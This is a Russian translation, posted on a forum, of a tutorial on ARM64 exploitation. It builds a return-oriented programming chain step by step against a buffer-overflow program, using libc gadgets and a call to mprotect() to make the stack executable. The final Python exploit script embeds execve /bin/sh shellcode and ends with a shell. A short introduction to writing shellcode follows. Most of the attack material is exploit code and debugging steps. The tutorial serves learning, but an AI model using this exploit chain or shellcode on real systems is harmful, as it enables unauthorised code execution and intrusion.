Мы видим, что есть достаточно подходящих гаджетов. Но поиск гаджетов для каждого регистра, а ведь это нам и нужно - требует значительных усилий. Есть способ это упростить. Попробуйте поискать гаджеты, которые записывали бы пару регистров, значениями из стека.

Для этого, ropper следует использовать, не указывая степень глубины поиска.

p20.png


Мы видим много гаджетов, которые могут заполнить эти регистры одним махом.

Попробуйте выбирать гаджеты, которые заполняют наибольшее количество регистров, т. к. это дает нам бОльшую гибкость, когда мы ищем гаджеты для заполнения регистров x0, x1 и x2.

Есть достаточно подходящих гаджетов, таких как:

p21.png


Мы выберем:
Bash:
0x000000000002b25c: ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
Потому что, нам не зачем добавлять ненужную информацию.

Теперь у нас есть гаджет, который заполнит регистры с x21 по x30. Следующим шагом будет поиск гаджетов, которые заполняли бы регистры x0, x1 и x2, подходящими нам значениями таким образом, чтобы мы успешно вызвали функцию mprotect().

Давайте посмотрим на гаджеты с инструкцией mov, которые копировали бы значения в регистры x0, x1 и x2.

Мы можем применить подход, аналогичный показанному выше или искать гаджеты, копирующие значения по одному регистру за раз. Мы предпочли бы следовать тому подходу, который мы применяли ранее, потому что это не потребовало бы большого числа гаджетов и скрипт эксплоита был бы понятнее.

p22.png


Мы искали что-то связанное с “mov“ и нашли несколько интересных гаджетов. Держите себе на уме - всякий раз, когда вам кажется, что полезных гаджетов нет, просто не указывайте глубину поиска.

p23.png


Python:
0x0000000000032f84: mov x2, x23; mov x1, x25; mov x0, x21; blr x22;

Мы будем использовать этот гаджет позже. Как можно видеть, у нас уже есть возможность заполнять регистры x21 - x30. Значит мы можем просто заполнить нужные регистры, соответствующими значениями и использовать второй гаджет, для копирования в x0, x1 и x2.

Итого:

x23: должен содержать значение 0x0000000000000007, которое будет скопировано в x2.

x25: должен содержать значение 0x0101010101010101, которое будет скопировано в x1.

x21: должен содержать адрес стека, который будет скопирован в x0.


Так, а что насчет x22? Он должен содержать адрес функции mprotect(), верно?

А вот и нет, потому что после вызова mprotect() нам все еще нужно выполнить наш шеллкод. Таким образом нам нужен еще один гаджет, как раз чтобы вернуть управление.

Остается сложность в нахождении метода вызова mprotect(), позволяющего сохранять контроль, разрешая выполнение шеллкода.

Для этого, нам следует найти гаджет с инструкцией br или blr и он,также должен дать нам возможность вернуть управление. Во время поиска этого гаджета, обращайте внимание на то, чтобы использованными в нем регистрами, можно было управлять с помощью предыдущих гаджетов.

Давайте используем ropper, чтобы найти его.

p25.jpg


К счастью есть один гаджет, который делает то, что нам требуется.

Python:
0x000000000007f984: blr x21; ldp x19, x20, [sp, #0x10]; ldr x21, [sp, #0x20]; ldp x29, x30, [sp], #0x80; ret;

Этот гаджет выполнит условный переход по адресу, указанному в регистре x21, а также перезапишет x30 значением из стека. Итак, сначала используя blr x21 мы должны выполнить условный переход к mprotect(). После этого, мы должны перезаписать x30 – адресом нашего шеллкода. Достигнув инструкции ret, управление будет передано нашему шеллкоду.

Однако, тут есть проблема. x21 занят адресом стека, который скопирован в x0 в следующей инструкции. Значит нам нужен еще один гаджет, чтобы обновить x21 адресом mprotect(). Для этого, попробуем поискать инструкции ldp.

Давайте поищем их.

p27.jpg

Python:
0x00000000000b5990: ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;

Пожалуйста, четко осознавайте, что при поиске ROP гаджетов, вам необходимо гарантировать, что они возвращают из стека значение, которое до этого было вытолкнуто нашим вводом и не ссылаются на области памяти, ранее задействованные для снятия со стека значений для наших предыдущих гаджетов.

Итак, мы добыли все нужные гаджеты, теперь давайте приступим к написанию скрипта эксплуатирующего уязвимость.

Скрипт эксплоита

Давайте начнем с написания простого скрипта на питоне.

В первую очередь, давайте заполним буфер для переполнения.

Python:
junk = “A” * 40

Базовый адрес библиотеки libc

Так, как мы используем гаджеты из библиотеки libc, нам необходим ее базовый адрес.

Таким образом, актуальный адрес гаджета мог бы быть = базовый_адрес_libc + смещение_гаджета.

Давайте запустим gdb и найдем адрес библиотеки libc.

Мы можем просто использовать команду vmmap, для поиска ее адреса.

p30.png


Адрес libc, равен 0x0000ffffb7e8c000.

Давайте добавим базовый адрес и первый гаджет в скрипт эксплоита.

Bash:
0x000000000002b25c: ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;

Мы также можем использовать в питоне модуль struct, для упрощения написания наших эксплоитов. Также он может быть использован для преобразования значений в строку байтов, согласно заданному формату. “Q“, здесь указывает формат, т. к. мы собираемся упаковать 64-битное значение.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;

print(junk+gadget_1)

Давайте проверим, работает ли наш первый гаджет. Так как, нам нужно выполнять отладку всего этого с применением скрипта нашего эксплоита, мы можем использовать gdb сервер для удаленной отладки.

p31.jpg

p32.jpg


Поставьте точку останова в функции main, на инструкции “ldp”, перед инструкцией “ret”.

p33.jpg


Продолжите выполнение, используя команду “c“.

p34.jpg


Мы можем видеть, что выполнение программы прервано нашей точкой останова. Если вы проверите стек, то увидите, что два верхних значения - 0x4141414141414141 и 0x0000ffffb7eb725c.

0x4141414141414141 - это наши буквы “A”, а 0x0000ffffb7eb725c – адрес нашего ROP гаджета. Мы так же можем рассмотреть это, использовав в gef функцию подсветки.

p35.jpg


После выполнения ldp x29, x30, [sp], #48, значение 0x4141414141414141 копируется в регистр x29, а 0x0000ffffb7eb725c (адрес первого ROP гаджета) копируется в регистр x30. После копирования этих значений стек вырастет на 48 байт. Итак, давайте выполним эту инструкцию в варианте ”Шаг с обходом”, использовав в gdb команду ni.

p36.png


Как и ожидалось, мы видим, что регистры x29 и x30 обновились значениями, которые перед этим были на вершине стека. Сейчас, когда мы выполним инструкцию ret, pc (Program Counter), будет указывать на адрес гаджета, который содержится в регистре x30.

p37.jpg


Мы можем видеть, что PC (Program Counter), указывает на первую инструкцию из нашего гаджета.

Первая инструкция ldp x21, x22, [sp, #32] заносит в регистры x21 и x22, значения из областей [sp + 32] и [sp + 32 + 8]. Таким образом, нам нужно аккуратно разместить значения наших параметров для вызова mprotect() в подходящих местах в стеке так, чтобы они занеслись в соответствующие регистры. Также отметьте, что все инструкции входящие в гаджет, за исключением последней ldp x29, x30, [sp], #0x60; retне изменяют указатель на стек.

Например, для заполнения регистров x21 и x22 в инструкции выше, нам нужно найти в стеке область, где лежат [sp + 32] и [sp + 32 + 8]. Значит, мы можем создать эксплоит, для заполнения этих областей нужными нам значениями, которые будут загружены в регистры x21 и x22.

Простой и ленивый способ нахождения этих областей, это закинуть строку, сформированную по шаблону, выполнить эти инструкции и проверить содержимое регистров.

Давайте попробуем это.

Это тот же инструмент, что мы применяли ранее.

Перепишем эксплоит и добавим строку-шаблон.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;

pattern =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

print(junk+gadget_1+pattern)

Теперь посмотрим на него в отладчике, используя gdb и gdbserver. Поставьте точку останова в функции main, на инструкции “ret”.

p38.png


Давайте продолжим выполнение, используя команду с, до тех пор пока оно не будет остановлено, появлением инструкции “ret”.

p39.jpg


Теперь, давайте выполним ”Шаг с обходом” инструкции “ret”, использовав в gdb команду ni.

p40.jpg


Давайте выполнять эти инструкции в варианте ”Шаг с обходом”, используя команду si и выяснять, какая именно часть входных данных, заполнила регистры.

p41.jpg


Теперь мы дошли до инструкции “ret” нашего гаджета. Давайте проверять регистры.

Нам нужно выяснить только смещение первого регистра того, который x21, потому что значения загруженные из области стека инкрементируют 16 байт на каждую инструкцию, за исключением последней. Последняя инструкция использует отложенный инкремент, который подразумевает, что с верхушки стека будут загружаться два значения, а потом указатель на стек будет увеличен на 96 байт. А значит, нам нужно разобраться и с позицией регистра x30 тоже.

Копируйте значение регистра x21 и вставьте в онлайн-утилиту.

p42.png


Итак, мы должны ввести 64 произвольных символа для передачи в регистр x21.

Теперь, давайте взглянем на позицию регистра x30.

Смещение для регистра x30, равно 40.

Давайте проверим так ли это, использовав скрипт нашего эксплоита.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;

#pattern =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"

exploit =  "A" * 64
exploit +=  "B" * 32

print(junk+gadget_1+exploit)

Таким образом, если смещение правильное, регистры x21, x22, x23 и x24 будут заполнены символами ”B”, так как мы передали на вход 32 ”B”.

Загрузим исполняемый файл в gdb и gdbserver для удаленной отладки.

Поставим точку останова в функции main, на инструкции “ret” и продолжим выполнение, используя команду с.

p43.jpg


Выполним ”Шаг с обходом” инструкции “ret”, использовав в gdb команду ni.

p44.jpg


Теперь мы внутри первой инструкции нашего гаджета. По нашим расчетам, после выполнения этой инструкции, регистры x21, x22, x23 и x24 будут заполнены символами ”B”.

Давайте выполним команду ni.

p45.png


Как и ожидалось, регистры x21, x22, x23 и x24 оказались заполнены нашими символами ”B”.

Давайте перепишем наш эксплоит со значениями параметров mprotect(). Пока пишете, помните, что:

x23: должен содержать значение 0x0000000000000007, которое будет скопировано в x2.

x25: должен содержать значение 0x0101010101010101, которое будет скопировано в x1.

x21: должен содержать адрес стека, который будет скопирован в x0.


Сначала, давайте получим адрес стека. Запустите gdb, загрузите исполняемый файл и запустите его.

p46.png


Используйте команду vmmap и получите начальный адрес стека.

Адрес равен 0x0000fffffffdf000.

p47.png


Теперь давайте перепишем эксплоит. Не забудьте заполнить регистры "мусором", который мы не используем.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;

exploit  =  "A" * 64
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)

print(junk+gadget_1+exploit)

В регистр x22, нам следует положить адрес третьего гаджета, чтобы таким образом мы могли перезаписать регистр x21 и передать управление следующему гаджету.

Python:
0x00000000000b5990: ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;

exploit  =  "A" * 64
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)


print(junk+gadget_1+exploit)

Теперь, в регистры x23 и x25 мы должны положить значения 0x0000000000000007 и 0x0101010101010101. Так же заполните регистры x24, x26, x27 и x29 мусором.
*прим. переводчика - в оригинале Also fill the x25, x26 and x27 with junk, но x25 у нас используется для 0x0101010101010101, а в скрипте ниже бутор пишется в x24, x26, x27 и x29.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;

exploit  =  "A" * 64
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)
exploit +=  "A" * 24 #Junk to fill x26,x27,x29

print(junk+gadget_1+exploit)

Давайте так же добавим адрес второго гаджета.

Python:
0x0000000000032f84: mov x2, x23; mov x1, x25; mov x0, x21; blr x22;

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_2 = struct.pack("Q",libc+0x0000000000032f84) # mov x2, x23; mov x1, x25; mov x0, x21; blr x22;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;

exploit  =  "A" * 64
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)
exploit +=  "A" * 24 #Junk to fill x26,x27,x29


print(junk+gadget_1+exploit)

Как нам известно, смещение регистра x30 равно 40. Итак, давайте отредактируем эксплоит и добавим второй гаджет.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_2 = struct.pack("Q",libc+0x0000000000032f84) # mov x2, x23; mov x1, x25; mov x0, x21; blr x22;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;

exploit  =  "A" * 40
exploit +=  gadget_2  #x30 : second gadget
exploit +=  "A" * (64 - 48)
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)
exploit +=  "A" * 24 #Junk to fill x26,x27,x29


print(junk+gadget_1+exploit)

Давайте отладим этот скрипт эксплоита, чтобы убедиться, что все на своих местах.

Врубаем gdb и gdbserver.

Поставим точку останова в функции main, на инструкции “ret“.

p50.png


Продолжим выполнение, используя команду с.

p51.png


Выполним ”Шаг с обходом” инструкции “ret“.

p52.jpg


Теперь мы внутри нашего гаджета.

Давайте выполним его инструкции и рассмотрим содержимое регистров.

p53.jpg


Регистры x0, x1 и x2 заполнены аргументами для вызова функции mprotect().

Давайте выполним команду gdb si, на инструкции blr.

p54.jpg


Сейчас мы внутри третьего гаджета.

Python:
0xffffb7f41990 <parse_qtd_backslash+80> ldp x21,  x22,  [sp, #16]

Первая инструкция нашего третьего гаджета, загружает загрузит значение из [sp+16] в x21. Это мог бы быть адрес ниже

p56.jpg


Мы можем видеть наш «мусорный» заполнитель “A”, как раз над ним. Таким образом, нам нужно ввести несколько большее количество “A”, чтобы передать и вытолкнуть его с адресом mprotect(), так чтобы это загрузилось в x21.

И аналогично в следующей инструкции, для регистра x30 нам следует заполнить позицию в стеке [sp + 32 + 8] ( 0x0000fffffffff508), адресом нашего последнего гаджета.

p57.jpg


И в конце концов ldp x19, x20, [sp], #48, загрузит два значения с вершины стека в регистры x19, x20 и увеличит стек на 48 байт.

Теперь давайте добавим последний гаджет и адрес функции mprotect().

Чтобы найти адрес функции mprotect(), загрузите исполняемый файл в gdb, поставьте где-нибудь точку останова и используйте команду print.

p58.jpg


Адрес mprotect() равен 0xffffb7f4ee60.

Давайте добавим «мусорный» заполнитель и адрес функции mprotect() в наш скрипт.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_2 = struct.pack("Q",libc+0x0000000000032f84) # mov x2, x23; mov x1, x25; mov x0, x21; blr x22;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;
mprotect = struct.pack("Q",0xffffb7f4ee60) # address of mprotect

exploit  =  "A" * 40
exploit +=  gadget_2  #x30 : second gadget
exploit +=  "A" * (64 - 48)
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)
exploit +=  "A" * 24 #Junk to fill x26,x27,x29
exploit +=  "A" * 16 #Junk to overwrite the stack
exploit +=   mprotect #value of x21 : ldp x21,  x22,  [sp, #16]
exploit +=   "A" * 8  #junk to fill x22
exploit +=   "A" * 8  #junk to fill x23 :ldp x23, x30, [sp, #0x20]

print(junk+gadget_1+exploit)

Давайте добавим наш последний гаджет и обновим скрипт.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_2 = struct.pack("Q",libc+0x0000000000032f84) # mov x2, x23; mov x1, x25; mov x0, x21; blr x22;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;
gadget_4 = struct.pack("Q",libc+0x000000000007f984) #blr x21; ldp x19, x20, [sp, #0x10]; ldr x21, [sp, #0x20]; ldp x29, x30, [sp], #0x80; ret;
mprotect = struct.pack("Q",0xffffb7f4ee60) # address of mprotect

exploit  =  "A" * 40
exploit +=  gadget_2  #x30 : second gadget
exploit +=  "A" * (64 - 48)
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)
exploit +=  "A" * 24 #Junk to fill x26,x27,x29
exploit +=  "A" * 16 #Junk to overwrite the stack
exploit +=   mprotect #value of x21 : ldp x21,  x22,  [sp, #16]
exploit +=   "A" * 8  #junk to fill x22
exploit +=   "A" * 8  #junk to fill x23 :ldp x23, x30, [sp, #0x20]
exploit +=  gadget_4

print(junk+gadget_1+exploit)

Давайте перезапустим скрипт и снова все досконально проверим. Цель этих манипуляций в последовательном выявлении и исправлении любых ошибок на каждой стадии.

p59.jpg


Давайте пропустим эти инструкции и перейдем к нашему гаджету.

p60.jpg


Сейчас эти инструкции, находящиеся во втором гаджете, загрузят аргументы mprotect() в регистры x0, x1 и x2.

p61.jpg


Теперь в регистры x0, x1 и x2, содержат аргументы для вызова mprotect(). Давайте сделаем “Шаг с заходом“ в инструкцию blr x22.

p62.jpg


Мы сейчас в третьем гаджете. Давайте пропустим все шаги до инструкции ret.

p63.jpg


Регистр x21, теперь содержит mprotect(), а x30 – адрес нашего последнего гаджета. Давайте сделаем “Шаг с обходом“, с помощью команды ni и перейдем к последнему гаджету.

p64.jpg


Наконец мы внутри нашего последнего гаджета.

Когда мы выполним инструкцию blr x21, вызовется функция mprotect() с аргументами из регистров x0, x1 и x2 и стеку добавится атрибут “исполняемый“.

Используйте команду vmmap, чтобы увидеть текущие разрешения для стека.

p65.jpg
 
Последнее редактирование:
Теперь давайте выполним команду ni и снова используем vmmap.

1720781123300.png


Права доступа стека изменились!!! Теперь мы видим в списке разрешений, дополнительный атрибут x. Таким образом сейчас разрешения стека стали – чтение, запись и выполнение.

Давайте пройдемся по остальным инструкциям, используя команду si.

Мы не думали о следующих двух инструкциях, так как они нам бесполезны.

Последняя же, ldp x29, x30, [sp], #128 загрузит два значения с вершины стека, в регистры x29 и x30 и увеличит размер стека на 128 байт.

Нам следует разместить адрес шеллкода в регистре x30.

1720781238503.png


Регистр x30 загрузит содержимое с адреса 0xfffffffff518.

Значит, нам нужно разместить адрес шеллкода в 0xfffffffff518.

Давайте также выберем область памяти для размещения нашего шеллкода. Мы выбираем 0xfffffffff520.

В завершение, мы должны положить адрес 0xfffffffff520 в область памяти 0xfffffffff518, которая будет загружена регистром x30 и добавит шеллкода с адреса 0xfffffffff520. Не забудьте добавить "А", чтобы заполнить 0xfffffffff510.

В качестве шеллкода, мы можем использовать: https://www.exploit-db.com/exploits/47048

Давайте обновим наш эксплоит.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_2 = struct.pack("Q",libc+0x0000000000032f84) # mov x2, x23; mov x1, x25; mov x0, x21; blr x22;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;
gadget_4 = struct.pack("Q",libc+0x000000000007f984) #blr x21; ldp x19, x20, [sp, #0x10]; ldr x21, [sp, #0x20]; ldp x29, x30, [sp], #0x80; ret;
mprotect = struct.pack("Q",0xffffb7f4ee60) # address of mprotect
shellcode= "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

exploit  =  "A" * 40
exploit +=  gadget_2  #x30 : second gadget
exploit +=  "A" * (64 - 48)
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)
exploit +=  "A" * 24 #Junk to fill x26,x27,x29
exploit +=  "A" * 16 #Junk to overwrite the stack
exploit +=   mprotect #value of x21 : ldp x21,  x22,  [sp, #16]
exploit +=  "A" * 8  #junk to fill x22
exploit +=  "A" * 8  #junk to fill x23 :ldp x23, x30, [sp, #0x20]
exploit +=  gadget_4 # fourth gadget
exploit +=  "A" * 8  #junk to fill x29
exploit +=  struct.pack("Q",0xfffffffff520) # Address to the shellcode
exploit +=   shellcode

print(junk+gadget_1+exploit)

Запустим gdb и gdbserver, чтобы проверить работает ли наш эксплоит.

1720781364222.png


1720781385889.png


Сейчас мы можем видеть, что новый процесс создан. То есть, наш шеллкод работает как надо.

Однако, чтобы воспользоваться шеллом, мы должны запустить исполняемый файл вне gdb.

Давайте его запустим без gdb.

1720781723362.png


Причиной его аварийного завершения, могут быть небольшие вариации в адресе. Адрес может незначительно отличаться, при запуске программы вне gdb.

Чтобы просмотреть файл аварийного дампа, используйте команду ниже и установите ограничение размера файла, как "без ограничений".

Bash:
ulimit -c unlimited

Снова запустите программу с эксплоитом.

1720781825264.png


Мы можем проанализировать файл аварийного дампа с помощью gdb.

Bash:
gdb core core

1720781868415.png


Давайте исследуем стек, используя команду examine (x).

Bash:
gef➤  x/32gx $sp -160

1720781919283.png


Мы видим, что шеллкод, начинается с адреса 0xfffffffff530 но регистр x30, ссылается на 0xfffffffff520. Значит мы должны изменить адрес в скрипте эксплоита на 0xfffffffff530, так чтобы x30 указывал на начало нашего шеллкода.

Давайте обновим скрипт эксплоита последний раз.

Python:
import struct

libc =  0x0000ffffb7e8c000

junk = "A" * 40

gadget_1 = struct.pack("Q",libc+0x000000000002b25c) # ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x25, x26, [sp, #0x40]; ldr x27, [sp, #0x50]; ldp x29, x30, [sp], #0x60; ret;
gadget_2 = struct.pack("Q",libc+0x0000000000032f84) # mov x2, x23; mov x1, x25; mov x0, x21; blr x22;
gadget_3 = struct.pack("Q",libc+0x00000000000b5990) # ldp x21, x22, [sp, #0x10]; ldp x23, x30, [sp, #0x20]; ldp x19, x20, [sp], #0x30; ret;
gadget_4 = struct.pack("Q",libc+0x000000000007f984) #blr x21; ldp x19, x20, [sp, #0x10]; ldr x21, [sp, #0x20]; ldp x29, x30, [sp], #0x80; ret;
mprotect = struct.pack("Q",0xffffb7f4ee60) # address of mprotect
shellcode= "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

exploit  =  "A" * 40
exploit +=  gadget_2  #x30 : second gadget
exploit +=  "A" * (64 - 48)
exploit +=  struct.pack("Q",0x0000fffffffdf000) # x21 (Address of stack)
exploit +=  gadget_3  #x22 : third gadget
exploit +=  struct.pack("Q",0x0000000000000007) #x23 (rwx value)
exploit +=  "A" * 8  # Junk to fill x24
exploit +=  struct.pack("Q",0x0101010101010101) #x25 (size)
exploit +=  "A" * 24 #Junk to fill x26,x27,x29
exploit +=  "A" * 16 #Junk to overwrite the stack
exploit +=   mprotect #value of x21 : ldp x21,  x22,  [sp, #16]
exploit +=  "A" * 8  #junk to fill x22
exploit +=  "A" * 8  #junk to fill x23 :ldp x23, x30, [sp, #0x20]
exploit +=  gadget_4 # fourth gadget
exploit +=  "A" * 8  #junk to fill x29
exploit +=  struct.pack("Q",0xfffffffff530) # Address to the shellcode #changed
exploit +=   shellcode

print(junk+gadget_1+exploit)

Давайте запустим его и проверим работает ли наш эксплоит.

1720782065903.png


Чудесно!!! Мы заполучили нашу прелесть шелл /bin/sh.

Мы крайне рекомендуем вам, попробовать проделать все это самостоятельно. Выберите время и разберитесь, как эти гаджеты выстраиваются в цепочку для достижения определенной цели.
 
Последнее редактирование:
ARM64 РЕВЕРСИНГ И ЭКСПЛУАТАЦИЯ ЧАСТЬ 5 – написание шеллкода
Переведено для xss.pro.
Оригинальная статья: 8ksec[.]io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
Автор статьи 8ksecresearch.
Автор перевода handersen.


В этой статье мы будем изучать написание шеллкода на ARM64. После ее прочтения, вы получите хорошее понимание о написании шеллкода для этой архитектуры.

Что такое шеллкод?

Шеллкод, это в буквальном смысле последовательность машинных кодов или выполняемых инструкций, разработанная для внедрения в память компьютера, с целью получения контроля посредством уже работающей программы.

*прим. переводчика – это “внедрение“, часто называют инжектом или инъекцией

Это может использоваться для эксплуатации уязвимостей, вроде переполнения буфера и получения доступа к целевой системе в обход авторизации. Шеллкод также применяется и для других задач, таких как обход и противодействие техникам анализа.

Шеллкод можно написать на таких языках программирования, как C или C++, однако было бы намного уместнее писать шеллкод на ассемблере, т. к. он предоставляет большую гибкость и больше возможностей в пересчете на байт кода. В нашем случае мы будем применять для создания шеллкода, ассемблер для ARM64.

